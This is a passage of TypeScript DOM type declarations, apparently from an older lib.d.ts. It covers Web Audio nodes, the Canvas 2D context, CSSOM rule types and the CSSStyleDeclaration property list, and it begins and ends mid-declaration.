=> any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ninterface AudioContext extends AudioContextBase {\\n    suspend(): Promise<void>;\\n}\\n\\ndeclare var AudioContext: {\\n    prototype: AudioContext;\\n    new(): AudioContext;\\n};\\n\\ninterface AudioDestinationNode extends AudioNode {\\n    readonly maxChannelCount: number;\\n}\\n\\ndeclare var AudioDestinationNode: {\\n    prototype: AudioDestinationNode;\\n    new(): AudioDestinationNode;\\n};\\n\\ninterface AudioListener {\\n    dopplerFactor: number;\\n    speedOfSound: number;\\n    setOrientation(x: number, y: number, z: number, xUp: number, yUp: number, zUp: number): void;\\n    setPosition(x: number, y: number, z: number): void;\\n    setVelocity(x: number, y: number, z: number): void;\\n}\\n\\ndeclare var AudioListener: {\\n    prototype: AudioListener;\\n    new(): AudioListener;\\n};\\n\\ninterface AudioNode extends EventTarget {\\n    channelCount: number;\\n    channelCountMode: ChannelCountMode;\\n    channelInterpretation: ChannelInterpretation;\\n    readonly context: AudioContext;\\n    readonly numberOfInputs: number;\\n    readonly numberOfOutputs: number;\\n    connect(destination: AudioNode, output?: number, input?: number): AudioNode;\\n    connect(destination: AudioParam, output?: number): void;\\n    disconnect(output?: number): void;\\n    disconnect(destination: AudioNode, output?: number, input?: number): void;\\n    disconnect(destination: AudioParam, output?: number): void;\\n}\\n\\ndeclare var AudioNode: {\\n    prototype: AudioNode;\\n    new(): AudioNode;\\n};\\n\\ninterface AudioParam {\\n    readonly defaultValue: number;\\n    value: number;\\n    cancelScheduledValues(startTime: number): AudioParam;\\n    exponentialRampToValueAtTime(value: number, endTime: number): AudioParam;\\n    linearRampToValueAtTime(value: number, endTime: number): AudioParam;\\n    setTargetAtTime(target: number, startTime: number, timeConstant: number): AudioParam;\\n    setValueAtTime(value: number, startTime: number): AudioParam;\\n    setValueCurveAtTime(values: Float32Array, startTime: number, duration: number): AudioParam;\\n}\\n\\ndeclare var AudioParam: {\\n    prototype: AudioParam;\\n    new(): AudioParam;\\n};\\n\\ninterface AudioProcessingEvent extends Event {\\n    readonly inputBuffer: AudioBuffer;\\n    readonly outputBuffer: AudioBuffer;\\n    readonly playbackTime: number;\\n}\\n\\ndeclare var AudioProcessingEvent: {\\n    prototype: AudioProcessingEvent;\\n    new(): AudioProcessingEvent;\\n};\\n\\ninterface AudioTrack {\\n    enabled: boolean;\\n    readonly id: string;\\n    kind: string;\\n    readonly label: string;\\n    language: string;\\n    readonly sourceBuffer: SourceBuffer;\\n}\\n\\ndeclare var AudioTrack: {\\n    prototype: AudioTrack;\\n    new(): AudioTrack;\\n};\\n\\ninterface AudioTrackListEventMap {\\n    \"addtrack\": TrackEvent;\\n    \"change\": Event;\\n    \"removetrack\": TrackEvent;\\n}\\n\\ninterface AudioTrackList extends EventTarget {\\n    readonly length: number;\\n    onaddtrack: (this: AudioTrackList, ev: TrackEvent) => any;\\n    onchange: (this: AudioTrackList, ev: Event) => any;\\n    onremovetrack: (this: AudioTrackList, ev: TrackEvent) => any;\\n    getTrackById(id: string): AudioTrack | null;\\n    item(index: number): AudioTrack;\\n    addEventListener<K extends keyof AudioTrackListEventMap>(type: K, listener: (this: AudioTrackList, ev: AudioTrackListEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n    [index: number]: AudioTrack;\\n}\\n\\ndeclare var AudioTrackList: {\\n    prototype: AudioTrackList;\\n    new(): AudioTrackList;\\n};\\n\\ninterface BarProp {\\n    readonly visible: boolean;\\n}\\n\\ndeclare var BarProp: {\\n    prototype: BarProp;\\n    new(): BarProp;\\n};\\n\\ninterface BeforeUnloadEvent extends Event {\\n    returnValue: any;\\n}\\n\\ndeclare var BeforeUnloadEvent: {\\n    prototype: BeforeUnloadEvent;\\n    new(): BeforeUnloadEvent;\\n};\\n\\ninterface BiquadFilterNode extends AudioNode {\\n    readonly detune: AudioParam;\\n    readonly frequency: AudioParam;\\n    readonly gain: AudioParam;\\n    readonly Q: AudioParam;\\n    type: BiquadFilterType;\\n    getFrequencyResponse(frequencyHz: Float32Array, magResponse: Float32Array, phaseResponse: Float32Array): void;\\n}\\n\\ndeclare var BiquadFilterNode: {\\n    prototype: BiquadFilterNode;\\n    new(): BiquadFilterNode;\\n};\\n\\ninterface Blob {\\n    readonly size: number;\\n    readonly type: string;\\n    msClose(): void;\\n    msDetachStream(): any;\\n    slice(start?: number, end?: number, contentType?: string): Blob;\\n}\\n\\ndeclare var Blob: {\\n    prototype: Blob;\\n    new (blobParts?: any[], options?: BlobPropertyBag): Blob;\\n};\\n\\ninterface Cache {\\n    add(request: RequestInfo): Promise<void>;\\n    addAll(requests: RequestInfo[]): Promise<void>;\\n    delete(request: RequestInfo, options?: CacheQueryOptions): Promise<boolean>;\\n    keys(request?: RequestInfo, options?: CacheQueryOptions): any;\\n    match(request: RequestInfo, options?: CacheQueryOptions): Promise<Response>;\\n    matchAll(request?: RequestInfo, options?: CacheQueryOptions): any;\\n    put(request: RequestInfo, response: Response): Promise<void>;\\n}\\n\\ndeclare var Cache: {\\n    prototype: Cache;\\n    new(): Cache;\\n};\\n\\ninterface CacheStorage {\\n    delete(cacheName: string): Promise<boolean>;\\n    has(cacheName: string): Promise<boolean>;\\n    keys(): any;\\n    match(request: RequestInfo, options?: CacheQueryOptions): Promise<any>;\\n    open(cacheName: string): Promise<Cache>;\\n}\\n\\ndeclare var CacheStorage: {\\n    prototype: CacheStorage;\\n    new(): CacheStorage;\\n};\\n\\ninterface CanvasGradient {\\n    addColorStop(offset: number, color: string): void;\\n}\\n\\ndeclare var CanvasGradient: {\\n    prototype: CanvasGradient;\\n    new(): CanvasGradient;\\n};\\n\\ninterface CanvasPattern {\\n    setTransform(matrix: SVGMatrix): void;\\n}\\n\\ndeclare var CanvasPattern: {\\n    prototype: CanvasPattern;\\n    new(): CanvasPattern;\\n};\\n\\ninterface CanvasRenderingContext2D extends Object, CanvasPathMethods {\\n    readonly canvas: HTMLCanvasElement;\\n    fillStyle: string | CanvasGradient | CanvasPattern;\\n    font: string;\\n    globalAlpha: number;\\n    globalCompositeOperation: string;\\n    imageSmoothingEnabled: boolean;\\n    lineCap: string;\\n    lineDashOffset: number;\\n    lineJoin: string;\\n    lineWidth: number;\\n    miterLimit: number;\\n    msFillRule: CanvasFillRule;\\n    shadowBlur: number;\\n    shadowColor: string;\\n    shadowOffsetX: number;\\n    shadowOffsetY: number;\\n    strokeStyle: string | CanvasGradient | CanvasPattern;\\n    textAlign: string;\\n    textBaseline: string;\\n    mozImageSmoothingEnabled: boolean;\\n    webkitImageSmoothingEnabled: boolean;\\n    oImageSmoothingEnabled: boolean;\\n    beginPath(): void;\\n    clearRect(x: number, y: number, w: number, h: number): void;\\n    clip(fillRule?: CanvasFillRule): void;\\n    createImageData(imageDataOrSw: number | ImageData, sh?: number): ImageData;\\n    createLinearGradient(x0: number, y0: number, x1: number, y1: number): CanvasGradient;\\n    createPattern(image: HTMLImageElement | HTMLCanvasElement | HTMLVideoElement, repetition: string): CanvasPattern;\\n    createRadialGradient(x0: number, y0: number, r0: number, x1: number, y1: number, r1: number): CanvasGradient;\\n    drawFocusIfNeeded(element: Element): void;\\n    drawImage(image: HTMLImageElement | HTMLCanvasElement | HTMLVideoElement | ImageBitmap, dstX: number, dstY: number): void;\\n    drawImage(image: HTMLImageElement | HTMLCanvasElement | HTMLVideoElement | ImageBitmap, dstX: number, dstY: number, dstW: number, dstH: number): void;\\n    drawImage(image: HTMLImageElement | HTMLCanvasElement | HTMLVideoElement | ImageBitmap, srcX: number, srcY: number, srcW: number, srcH: number, dstX: number, dstY: number, dstW: number, dstH: number): void;\\n    fill(fillRule?: CanvasFillRule): void;\\n    fillRect(x: number, y: number, w: number, h: number): void;\\n    fillText(text: string, x: number, y: number, maxWidth?: number): void;\\n    getImageData(sx: number, sy: number, sw: number, sh: number): ImageData;\\n    getLineDash(): number[];\\n    isPointInPath(x: number, y: number, fillRule?: CanvasFillRule): boolean;\\n    measureText(text: string): TextMetrics;\\n    putImageData(imagedata: ImageData, dx: number, dy: number, dirtyX?: number, dirtyY?: number, dirtyWidth?: number, dirtyHeight?: number): void;\\n    restore(): void;\\n    rotate(angle: number): void;\\n    save(): void;\\n    scale(x: number, y: number): void;\\n    setLineDash(segments: number[]): void;\\n    setTransform(m11: number, m12: number, m21: number, m22: number, dx: number, dy: number): void;\\n    stroke(path?: Path2D): void;\\n    strokeRect(x: number, y: number, w: number, h: number): void;\\n    strokeText(text: string, x: number, y: number, maxWidth?: number): void;\\n    transform(m11: number, m12: number, m21: number, m22: number, dx: number, dy: number): void;\\n    translate(x: number, y: number): void;\\n}\\n\\ndeclare var CanvasRenderingContext2D: {\\n    prototype: CanvasRenderingContext2D;\\n    new(): CanvasRenderingContext2D;\\n};\\n\\ninterface CDATASection extends Text {\\n}\\n\\ndeclare var CDATASection: {\\n    prototype: CDATASection;\\n    new(): CDATASection;\\n};\\n\\ninterface ChannelMergerNode extends AudioNode {\\n}\\n\\ndeclare var ChannelMergerNode: {\\n    prototype: ChannelMergerNode;\\n    new(): ChannelMergerNode;\\n};\\n\\ninterface ChannelSplitterNode extends AudioNode {\\n}\\n\\ndeclare var ChannelSplitterNode: {\\n    prototype: ChannelSplitterNode;\\n    new(): ChannelSplitterNode;\\n};\\n\\ninterface CharacterData extends Node, ChildNode {\\n    data: string;\\n    readonly length: number;\\n    appendData(arg: string): void;\\n    deleteData(offset: number, count: number): void;\\n    insertData(offset: number, arg: string): void;\\n    replaceData(offset: number, count: number, arg: string): void;\\n    substringData(offset: number, count: number): string;\\n}\\n\\ndeclare var CharacterData: {\\n    prototype: CharacterData;\\n    new(): CharacterData;\\n};\\n\\ninterface ClientRect {\\n    bottom: number;\\n    readonly height: number;\\n    left: number;\\n    right: number;\\n    top: number;\\n    readonly width: number;\\n}\\n\\ndeclare var ClientRect: {\\n    prototype: ClientRect;\\n    new(): ClientRect;\\n};\\n\\ninterface ClientRectList {\\n    readonly length: number;\\n    item(index: number): ClientRect;\\n    [index: number]: ClientRect;\\n}\\n\\ndeclare var ClientRectList: {\\n    prototype: ClientRectList;\\n    new(): ClientRectList;\\n};\\n\\ninterface ClipboardEvent extends Event {\\n    readonly clipboardData: DataTransfer;\\n}\\n\\ndeclare var ClipboardEvent: {\\n    prototype: ClipboardEvent;\\n    new(type: string, eventInitDict?: ClipboardEventInit): ClipboardEvent;\\n};\\n\\ninterface CloseEvent extends Event {\\n    readonly code: number;\\n    readonly reason: string;\\n    readonly wasClean: boolean;\\n    initCloseEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, wasCleanArg: boolean, codeArg: number, reasonArg: string): void;\\n}\\n\\ndeclare var CloseEvent: {\\n    prototype: CloseEvent;\\n    new(typeArg: string, eventInitDict?: CloseEventInit): CloseEvent;\\n};\\n\\ninterface Comment extends CharacterData {\\n    text: string;\\n}\\n\\ndeclare var Comment: {\\n    prototype: Comment;\\n    new(): Comment;\\n};\\n\\ninterface CompositionEvent extends UIEvent {\\n    readonly data: string;\\n    readonly locale: string;\\n    initCompositionEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, dataArg: string, locale: string): void;\\n}\\n\\ndeclare var CompositionEvent: {\\n    prototype: CompositionEvent;\\n    new(typeArg: string, eventInitDict?: CompositionEventInit): CompositionEvent;\\n};\\n\\ninterface Console {\\n    assert(test?: boolean, message?: string, ...optionalParams: any[]): void;\\n    clear(): void;\\n    count(countTitle?: string): void;\\n    debug(message?: any, ...optionalParams: any[]): void;\\n    dir(value?: any, ...optionalParams: any[]): void;\\n    dirxml(value: any): void;\\n    error(message?: any, ...optionalParams: any[]): void;\\n    exception(message?: string, ...optionalParams: any[]): void;\\n    group(groupTitle?: string, ...optionalParams: any[]): void;\\n    groupCollapsed(groupTitle?: string, ...optionalParams: any[]): void;\\n    groupEnd(): void;\\n    info(message?: any, ...optionalParams: any[]): void;\\n    log(message?: any, ...optionalParams: any[]): void;\\n    msIsIndependentlyComposed(element: Element): boolean;\\n    profile(reportName?: string): void;\\n    profileEnd(): void;\\n    select(element: Element): void;\\n    table(...data: any[]): void;\\n    time(timerName?: string): void;\\n    timeEnd(timerName?: string): void;\\n    trace(message?: any, ...optionalParams: any[]): void;\\n    warn(message?: any, ...optionalParams: any[]): void;\\n}\\n\\ndeclare var Console: {\\n    prototype: Console;\\n    new(): Console;\\n};\\n\\ninterface ConvolverNode extends AudioNode {\\n    buffer: AudioBuffer | null;\\n    normalize: boolean;\\n}\\n\\ndeclare var ConvolverNode: {\\n    prototype: ConvolverNode;\\n    new(): ConvolverNode;\\n};\\n\\ninterface Coordinates {\\n    readonly accuracy: number;\\n    readonly altitude: number | null;\\n    readonly altitudeAccuracy: number | null;\\n    readonly heading: number | null;\\n    readonly latitude: number;\\n    readonly longitude: number;\\n    readonly speed: number | null;\\n}\\n\\ndeclare var Coordinates: {\\n    prototype: Coordinates;\\n    new(): Coordinates;\\n};\\n\\ninterface Crypto extends Object, RandomSource {\\n    readonly subtle: SubtleCrypto;\\n}\\n\\ndeclare var Crypto: {\\n    prototype: Crypto;\\n    new(): Crypto;\\n};\\n\\ninterface CryptoKey {\\n    readonly algorithm: KeyAlgorithm;\\n    readonly extractable: boolean;\\n    readonly type: string;\\n    readonly usages: string[];\\n}\\n\\ndeclare var CryptoKey: {\\n    prototype: CryptoKey;\\n    new(): CryptoKey;\\n};\\n\\ninterface CryptoKeyPair {\\n    privateKey: CryptoKey;\\n    publicKey: CryptoKey;\\n}\\n\\ndeclare var CryptoKeyPair: {\\n    prototype: CryptoKeyPair;\\n    new(): CryptoKeyPair;\\n};\\n\\ninterface CSS {\\n    supports(property: string, value?: string): boolean;\\n}\\ndeclare var CSS: CSS;\\n\\ninterface CSSConditionRule extends CSSGroupingRule {\\n    conditionText: string;\\n}\\n\\ndeclare var CSSConditionRule: {\\n    prototype: CSSConditionRule;\\n    new(): CSSConditionRule;\\n};\\n\\ninterface CSSFontFaceRule extends CSSRule {\\n    readonly style: CSSStyleDeclaration;\\n}\\n\\ndeclare var CSSFontFaceRule: {\\n    prototype: CSSFontFaceRule;\\n    new(): CSSFontFaceRule;\\n};\\n\\ninterface CSSGroupingRule extends CSSRule {\\n    readonly cssRules: CSSRuleList;\\n    deleteRule(index: number): void;\\n    insertRule(rule: string, index: number): number;\\n}\\n\\ndeclare var CSSGroupingRule: {\\n    prototype: CSSGroupingRule;\\n    new(): CSSGroupingRule;\\n};\\n\\ninterface CSSImportRule extends CSSRule {\\n    readonly href: string;\\n    readonly media: MediaList;\\n    readonly styleSheet: CSSStyleSheet;\\n}\\n\\ndeclare var CSSImportRule: {\\n    prototype: CSSImportRule;\\n    new(): CSSImportRule;\\n};\\n\\ninterface CSSKeyframeRule extends CSSRule {\\n    keyText: string;\\n    readonly style: CSSStyleDeclaration;\\n}\\n\\ndeclare var CSSKeyframeRule: {\\n    prototype: CSSKeyframeRule;\\n    new(): CSSKeyframeRule;\\n};\\n\\ninterface CSSKeyframesRule extends CSSRule {\\n    readonly cssRules: CSSRuleList;\\n    name: string;\\n    appendRule(rule: string): void;\\n    deleteRule(rule: string): void;\\n    findRule(rule: string): CSSKeyframeRule;\\n}\\n\\ndeclare var CSSKeyframesRule: {\\n    prototype: CSSKeyframesRule;\\n    new(): CSSKeyframesRule;\\n};\\n\\ninterface CSSMediaRule extends CSSConditionRule {\\n    readonly media: MediaList;\\n}\\n\\ndeclare var CSSMediaRule: {\\n    prototype: CSSMediaRule;\\n    new(): CSSMediaRule;\\n};\\n\\ninterface CSSNamespaceRule extends CSSRule {\\n    readonly namespaceURI: string;\\n    readonly prefix: string;\\n}\\n\\ndeclare var CSSNamespaceRule: {\\n    prototype: CSSNamespaceRule;\\n    new(): CSSNamespaceRule;\\n};\\n\\ninterface CSSPageRule extends CSSRule {\\n    readonly pseudoClass: string;\\n    readonly selector: string;\\n    selectorText: string;\\n    readonly style: CSSStyleDeclaration;\\n}\\n\\ndeclare var CSSPageRule: {\\n    prototype: CSSPageRule;\\n    new(): CSSPageRule;\\n};\\n\\ninterface CSSRule {\\n    cssText: string;\\n    readonly parentRule: CSSRule;\\n    readonly parentStyleSheet: CSSStyleSheet;\\n    readonly type: number;\\n    readonly CHARSET_RULE: number;\\n    readonly FONT_FACE_RULE: number;\\n    readonly IMPORT_RULE: number;\\n    readonly KEYFRAME_RULE: number;\\n    readonly KEYFRAMES_RULE: number;\\n    readonly MEDIA_RULE: number;\\n    readonly NAMESPACE_RULE: number;\\n    readonly PAGE_RULE: number;\\n    readonly STYLE_RULE: number;\\n    readonly SUPPORTS_RULE: number;\\n    readonly UNKNOWN_RULE: number;\\n    readonly VIEWPORT_RULE: number;\\n}\\n\\ndeclare var CSSRule: {\\n    prototype: CSSRule;\\n    new(): CSSRule;\\n    readonly CHARSET_RULE: number;\\n    readonly FONT_FACE_RULE: number;\\n    readonly IMPORT_RULE: number;\\n    readonly KEYFRAME_RULE: number;\\n    readonly KEYFRAMES_RULE: number;\\n    readonly MEDIA_RULE: number;\\n    readonly NAMESPACE_RULE: number;\\n    readonly PAGE_RULE: number;\\n    readonly STYLE_RULE: number;\\n    readonly SUPPORTS_RULE: number;\\n    readonly UNKNOWN_RULE: number;\\n    readonly VIEWPORT_RULE: number;\\n};\\n\\ninterface CSSRuleList {\\n    readonly length: number;\\n    item(index: number): CSSRule;\\n    [index: number]: CSSRule;\\n}\\n\\ndeclare var CSSRuleList: {\\n    prototype: CSSRuleList;\\n    new(): CSSRuleList;\\n};\\n\\ninterface CSSStyleDeclaration {\\n    alignContent: string | null;\\n    alignItems: string | null;\\n    alignmentBaseline: string | null;\\n    alignSelf: string | null;\\n    animation: string | null;\\n    animationDelay: string | null;\\n    animationDirection: string | null;\\n    animationDuration: string | null;\\n    animationFillMode: string | null;\\n    animationIterationCount: string | null;\\n    animationName: string | null;\\n    animationPlayState: string | null;\\n    animationTimingFunction: string | null;\\n    backfaceVisibility: string | null;\\n    background: string | null;\\n    backgroundAttachment: string | null;\\n    backgroundClip: string | null;\\n    backgroundColor: string | null;\\n    backgroundImage: string | null;\\n    backgroundOrigin: string | null;\\n    backgroundPosition: string | null;\\n    backgroundPositionX: string | null;\\n    backgroundPositionY: string | null;\\n    backgroundRepeat: string | null;\\n    backgroundSize: string | null;\\n    baselineShift: string | null;\\n    border: string | null;\\n    borderBottom: string | null;\\n    borderBottomColor: string | null;\\n    borderBottomLeftRadius: string | null;\\n    borderBottomRightRadius: string | null;\\n    borderBottomStyle: string | null;\\n    borderBottomWidth: string | null;\\n    borderCollapse: string | null;\\n    borderColor: string | null;\\n    borderImage: string | null;\\n    borderImageOutset: string | null;\\n    borderImageRepeat: string | null;\\n    borderImageSlice: string | null;\\n    borderImageSource: string | null;\\n    borderImageWidth: string | null;\\n    borderLeft: string | null;\\n    borderLeftColor: string | null;\\n    borderLeftStyle: string | null;\\n    borderLeftWidth: string | null;\\n    borderRadius: string | null;\\n    borderRight: string | null;\\n    borderRightColor: string | null;\\n    borderRightStyle: string | null;\\n    borderRightWidth: string | null;\\n    borderSpacing: string | null;\\n    borderStyle: string | null;\\n    borderTop: string | null;\\n    borderTopColor: string | null;\\n    borderTopLeftRadius: string | null;\\n    borderTopRightRadius: string | null;\\n    borderTopStyle: string | null;\\n    borderTopWidth: string | null;\\n    borderWidth: string | null;\\n    bottom: string | null;\\n    boxShadow: string | null;\\n    boxSizing: string | null;\\n    breakAfter: string | null;\\n    breakBefore: string | null;\\n    breakInside: string | null;\\n    captionSide: string | null;\\n    clear: string | null;\\n    clip: string | null;\\n    clipPath: string | null;\\n    clipRule: string | null;\\n    color: string | null;\\n    colorInterpolationFilters: string | null;\\n    columnCount: any;\\n    columnFill: string | null;\\n    columnGap: any;\\n    columnRule: string | null;\\n    columnRuleColor: any;\\n    columnRuleStyle: string | null;\\n    columnRuleWidth: any;\\n    columns: string | null;\\n    columnSpan: string | null;\\n    columnWidth: any;\\n    content: string | null;\\n    counterIncrement: string | null;\\n    counterReset: string | null;\\n    cssFloat: string | null;\\n    cssText: string;\\n    cursor: string | null;\\n    direction: string | null;\\n    display: string | null;\\n    dominantBaseline: string | null;\\n    emptyCells: string | null;\\n    enableBackground: string | null;\\n    fill: string | null;\\n    fillOpacity: string | null;\\n    fillRule: string | null;\\n    filter: string | null;\\n    flex: string | null;\\n    flexBasis: string | null;\\n    flexDirection: string | null;\\n    flexFlow: string | null;\\n    flexGrow: string | null;\\n    flexShrink: string | null;\\n    flexWrap: string | null;\\n    floodColor: string | null;\\n    floodOpacity: string | null;\\n    font: string | null;\\n    fontFamily: string | null;\\n    fontFeatureSettings: string | null;\\n    fontSize: string | null;\\n    fontSizeAdjust: string | null;\\n    fontStretch: string | null;\\n    fontStyle: string | null;\\n    fontVariant: string | null;\\n    fontWeight: string | null;\\n    glyphOrientationHorizontal: string | null;\\n    glyphOrientationVertical: string | null;\\n    height: string | null;\\n    imeMode: string | null;\\n    justifyContent: string | null;\\n    kerning: string | null;\\n    layoutGrid: string | null;\\n    layoutGridChar: string | null;\\n    layoutGridLine: string | null;\\n    layoutGridMode: string | null;\\n    layoutGridType: string | null;\\n    left: string | null;\\n    readonly length: number;\\n    letterSpacing: string | null;\\n    lightingColor: string | null;\\n    lineBreak: string | null;\\n    lineHeight: string | null;\\n    listStyle: string | null;\\n    listStyleImage: string | null;\\n    listStylePosition: string | null;\\n    listStyleType: string | null;\\n    margin: string | null;\\n    marginBottom: string | null;\\n    marginLeft: string | null;\\n    marginRight: string | null;\\n    marginTop: string | null;\\n    marker: string | null;\\n    markerEnd: string | null;\\n    markerMid: string | null;\\n    markerStart: string | null;\\n    mask: string | null;\\n    maxHeight: string | null;\\n    maxWidth: string | null;\\n    minHeight: string | null;\\n    minWidth: string | null;\\n    msContentZoomChaining: string | null;\\n    msContentZooming: string | null;\\n    msContentZoomLimit: string | null;\\n    msContentZoomLimitMax: any;\\n    msContentZoomLimitMin: any;\\n    msContentZoomSnap: string | null;\\n    msContentZoomSnapPoints: string | null;\\n    msContentZoomSnapType: string | null;\\n    msFlowFrom: string | null;\\n    msFlowInto: string | null;\\n    msFontFeatureSettings: string | null;\\n    msGridColumn: any;\\n    msGridColumnAlign: string | null;\\n    msGridColumns: string | null;\\n    msGridColumnSpan: any;\\n    msGridRow: any;\\n    msGridRowAlign: string | null;\\n    msGridRows: string | null;\\n    msGridRowSpan: any;\\n    msHighContrastAdjust: string | null;\\n    msHyphenateLimitChars: string | null;\\n    msHyphenateLimitLines: any;\\n    msHyphenateLimitZone: any;\\n    msHyphens: string | null;\\n    msImeAlign: string | null;\\n    msOverflowStyle: string | null;\\n    msScrollChaining: string | null;\\n    msScrollLimit: string | null;\\n    msScrollLimitXMax: any;\\n    msScrollLimitXMin: any;\\n    msScrollLimitYMax: any;\\n    msScrollLimitYMin: any;\\n    msScrollRails: string | null;\\n    msScrollSnapPointsX: string | null;\\n    msScrollSnapPointsY: string | null;\\n    msScrollSnapType: string | null;\\n    msScrollSnapX: string | null;\\n    msScrollSnapY: string | null;\\n    msScrollTranslation: string | null;\\n    msTextCombineHorizontal: string | null;\\n    msTextSizeAdjust: any;\\n    msTouchAction: string | null;\\n    msTouchSelect: string | null;\\n    msUserSelect: string | null;\\n    msWrapFlow: string;\\n    msWrapMargin: any;\\n    msWrapThrough: string;\\n    opacity: string | null;\\n    order: string | null;\\n    orphans: string | null;\\n    outline: string | null;\\n    outlineColor: string | null;\\n    outlineOffset: string | null;\\n    outlineStyle: string | null;\\n    outlineWidth: string | null;\\n    overflow: string | null;\\n    overflowX: string | null;\\n    overflowY: string | null;\\n    padding: string | null;\\n    paddingBottom: string | null;\\n    paddingLeft: string | null;\\n    paddingRight: string | null;\\n    paddingTop: string | null;\\n    pageBreakAfter: string | null;\\n    pageBreakBefore: string | null;\\n    pageBreakInside: string | null;\\n    readonly parentRule: CSSRule;\\n    perspective: string | null;\\n    perspectiveOrigin: string | null;\\n    pointerEvents: string | null;\\n    position: string | null;\\n    quotes: string | null;\\n    right: string | null;\\n    rotate: string | null;\\n    rubyAlign: string | null;\\n    rubyOverhang: string | null;\\n    rubyPosition: string | null;\\n    scale: string | null;\\n    stopColor: string | null;\\n    stopOpacity: string | null;\\n    stroke: string | null;\\n    strokeDasharray: string | null;\\n    strokeDashoffset: string | null;\\n    strokeLinecap: string | null;\\n    strokeLinejoin: string | null;\\n    strokeMiterlimit: string | null;\\n    strokeOpacity: string | null;\\n    strokeWidth: string | null;\\n    tableLayout: string | null;\\n    textAlign: string | null;\\n    textAlignLast: string | null;\\n    textAnchor: string | null;\\n    textDecoration: string | null;\\n    textIndent: string | null;\\n    textJustify: string | null;\\n    textKashida: string | null;\\n    textKashidaSpace: string | null;\\n    textOverflow: string | null;\\n    textShadow: string | null;\\n    textTransform: string | null;\\n    textUnderlinePosition: string | null;\\n    top: string | null;\\n    touchAction: string | null;\\n    transform: string | null;\\n    transformOrigin: string | null;\\n    transformStyle: string | null;\\n    transition: string | null;\\n    transitionDelay: string | null;\\n    transitionDuration: string | null;\\n    transitionProperty: string | null;\\n    transitionTimingFunction: string | null;\\n    translate: string | null;\\n    unicodeBidi: string | null;\\n    verticalAlign: string | null;\\n    visibility: string | null;\\n    webkitAlignContent: string | null;\\n    webkitAlignItems: string | null;\\n    webkitAlignSelf: string | null;\\n    webkitAnimation: string | null;\\n    webkitAnimationDelay: string | null;\\n    webkitAnimationDirection: string | null;\\n    webkitAnimationDuration: string | null;\\n    webkitAnimationFillMode: string | null;\\n    webkitAnimationIterationCount: string | null;\\n    webkitAnimationName: string | null;\\n    webkitAnimationPlayState: string | null;\\n    webkitAnimationTimingFunction: string | null;\\n    webkitAppearance: string | null;\\n    webkitBackfaceVisibility: string | null;\\n    webkitBackgroundClip: string | null;\\n    webkitBackgroundOrigin: string | null;\\n    webkitBackgroundSize: string | null;\\n    webkitBorderBottomLeftRadius: string | null;\\n    webkitBorderBottomRightRadius: string | null;\\n    webkitBorderImage: string | null;\\n    webkitBorderRadius: string | null;\\n    webkitBorderTopLeftRadius: string | null;\\n    webkitBorderTopRightRadius: string | null;\\n    webkitBoxAlign: string | null;\\n    webkitBoxDirection: string | null;\\n    webkitBoxFlex: string | null;\\n    webkitBoxOrdinalGroup: string | null;\\n    webkitBoxOrient: string | null;\\n    webkitBoxPack: string | null;\\n    webkitBoxSizing: string | null;\\n    webkitColumnBreakAfter: string | null;\\n    webkitColumnBreakBefore: string | null;\\n    webkitColumnBreakInside: string | null;\\n    webkitColumnCount: any;\\n    webkitColumnGap: any;\\n    webkitColumnRule: string | null;\\n    webkitColumnRuleColor: any;\\n    webkitColumnRuleStyle: string | null;\\n    webkitColumnRuleWidth: any;\\n    webkitColumns: string | null;\\n    webkitColumnSpan: string | null;\\n    webkitColumnWidth: any;\\n    webkitFilter: string | null;\\n    webkitFlex: string | null;\\n    webkitFlexBasis: string | null;\\n    webkitFlexDirection: string | null;\\n    webkitFlexFlow: string | null;\\n    webkitFlexGrow: string | null;\\n    webkitFlexShrink: string | null;\\n    webkitFlexWrap: string | null;\\n    webkitJustifyContent: string | null;\\n    webkitOrder: string | null;\\n    webkitPerspective: string | null;\\n    webkitPerspectiveOrigin: string | null;\\n    webkitTapHighlightColor: string | null;\\n    webkitTextFillColor: string | null;\\n    webkitTextSizeAdjust: any;\\n    webkitTextStroke: string | null;\\n    webkitTextStrokeColor: string | null;\\n    webkitTextStrokeWidth: string | null;\\n    webkitTransform: string | null;\\n    webkitTransformOrigin: string | null;\\n    webkitTransformStyle: string | null;\\n    webkitTransition: string | null;\\n    webkitTransitionDelay: string | null;\\n    webkitTransitionDuration: string | null;\\n    webkitTransitionProperty: string | null;\\n    webkitTransitionTimingFunction: string | null;\\n    webkitUserModify: string | null;\\n    webkitUserSelect: string | null;\\n    webkitWritingMode: string | null;\\n    whiteSpace: string | null;\\n    widows: string | null;\\n    width: string | null;\\n    wordBreak: string | null;\\n    wordSpacing: string | null;\\n    wordWrap: string | null;\\n    writingMode: string | null;\\n    zIndex: string | null;\\n    zoom: string | null;\\n    resize: string | null;\\n    userSelect: string | null;\\n    getPropertyPriority(propertyName: string): string;\\n    getPropertyValue(propertyName: string): string;\\n    item(index: number): string;\\n    removeProperty(propertyName: string): string;\\n    setProperty(propertyName: string, value: string | null, priority?: string): void;\\n    [index: number]: string;\\n}\\n\\ndeclare var CSSStyleDeclaration: {\\n    prototype: CSSStyleDeclaration;\\n    new(): CSSStyleDeclaration;\\n};\\n\\ninterface CSSStyleRule extends CSSRule {\\n    readonly readOnly: boolean;\\n    selectorText: string;\\n    readonly style: CSSStyleDeclaration;\\n}\\n\\ndeclare var CSSStyleRule: {\\n    prototype: CSSStyleRule;\\n    new(): CSSStyleRule;\\n};\\n\\ninterface CSSStyleSheet extends StyleSheet {\\n    readonly cssRules: CSSRuleList;\\n    cssText: string;\\n    readonly id: string;\\n    readonly imports: StyleSheetList;\\n    readonly isAlternate: boolean;\\n    readonly isPrefAlternate: boolean;\\n    readonly ownerRule: CSSRule;\\n    readonly owningElement: Element;\\n    readonly pages: StyleSheetPageList;\\n    readonly readOnly: boolean;\\n    readonly rules: CSSRuleList;\\n    addImport(bstrURL: string, lIndex?: number): number;\\n    addPageRule(bstrSelector: string, bstrStyle: string, lIndex?: number): number;\\n    addRule(bstrSelector: string, bstrStyle?: string, lIndex?: number): number;\\n    deleteRule(index?: number): void;\\n    insertRule(rule: string, index?: number): number;\\n    removeImport(lIndex: number): void;\\n    removeRule(lIndex: number): void;\\n}\\n\\ndeclare var CSSStyleSheet: {\\n    prototype: CSSStyleSheet;\\n    new(): 